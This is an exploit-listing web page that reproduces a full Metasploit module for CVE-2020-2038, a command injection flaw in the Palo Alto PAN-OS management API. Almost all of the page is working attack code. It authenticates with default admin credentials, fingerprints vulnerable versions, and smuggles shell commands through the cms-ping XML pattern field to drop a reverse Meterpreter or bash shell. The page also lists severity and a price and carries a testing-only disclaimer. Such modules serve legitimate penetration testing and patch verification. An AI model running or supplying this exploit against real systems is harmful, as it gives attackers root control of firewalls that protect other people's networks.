Advertisement






Palo Alto Networks Authenticated Remote Code Execution

CVE Category Price Severity
CVE-2020-2038 CWE-77 $80,000 High
Author Risk Exploitation Type Date
Orange Tsai Critical Remote 2022-09-16
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.05619 0.36482

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090045

Below is a copy:

Palo Alto Networks Authenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  require 'ipaddr'

  class InvalidRequest < StandardError
  end

  class InvalidResponse < StandardError
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Networks Authenticated Remote Code Execution',
        'Description' => %q{
          An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
          administrators to execute arbitrary OS commands with root privileges.
          This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10
        },
        'Author' => [
          'Mikhail Klyuchnikov', # Vulnerability discovery
          'Nikita Abramov', # Vulnerability discovery
          'UnD3sc0n0c1d0', # Exploit
          'jheysel-r7' # msf module
        ],
        'References' => [
          ['CVE', '2020-2038'],
          ['URL', 'https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/'],
          ['URL', 'https://security.paloaltonetworks.com/CVE-2020-2038'],
          ['URL', 'https://github.com/und3sc0n0c1d0/CVE-2020-2038'] # Exploit
        ],
        'DisclosureDate' => '2020-09-09',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Privileged' => true,
        'Targets' => [
          [
            'Linux ',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %i[echo printf],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'PAN-OS administrator username', 'admin']),
        OptString.new('PASSWORD', [false, 'Password for username', 'admin'])
      ]
    )
  end

  def check
    print_status('Authenticating...')
    begin
      @api_key = api_key
    rescue InvalidRequest, InvalidResponse => e
      return Exploit::CheckCode::Safe("Error retrieving API key: #{e.class}, #{e}")
    end
    res = send_request_cgi({
      'method' => 'GET',
      'keep_cookies' => 'true',
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'type' => 'version',
        'key' => @api_key
      }
    })

    return CheckCode::Unknown('The API did not respond to the request for the version of PAN_OS') unless res&.body

    version = Rex::Version.new(res.get_xml_document.xpath('/response/result/sw-version').text)

    if version >= Rex::Version.new('9.0.0') && version < Rex::Version.new('9.0.10') ||
       version >= Rex::Version.new('9.1.0') && version < Rex::Version.new('9.1.4') ||
       version >= Rex::Version.new('10.0.0') && version < Rex::Version.new('10.0.1')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def api_key
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'type' => 'keygen',
        'user' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res.nil?
      raise InvalidRequest, 'Unreachable'
    end

    if res.code == 401
      raise InvalidRequest, 'Server returned HTTP status 401 - Authentication failed'
    end

    if res.code == 403
      raise InvalidRequest, 'Server returned HTTP status 403 - Authentication failed with "Invalid Credentials"'
    end

    if res.body.blank?
      raise InvalidResponse, 'Empty reply from server'
    end

    key = res.get_xml_document.xpath('/response/result/key')&.text

    if key.nil?
      raise InvalidResponse, 'Empty reply from server'
    end

    print_good('Successfully obtained api key')

    key
  end

  def execute_command(cmd, _opts = {})
    payload = "<cms-ping><host>#{IPAddr.new(rand(2**32), Socket::AF_INET)}</host><count>#{rand(1..50)}</count><pattern>111<![CDATA[||#{cmd}||]]></pattern></cms-ping>"
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'cmd' => payload,
        'type' => 'op',
        'key' => @api_key
      }
    })
  end

  def exploit
    begin
      @api_key ||= api_key
    rescue InvalidRequest, InvalidResponse => e
      fail_with(Failure::UnexpectedReply, "Error retrieving API key: #{e}")
    end
    print_status('Exploiting...')
    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum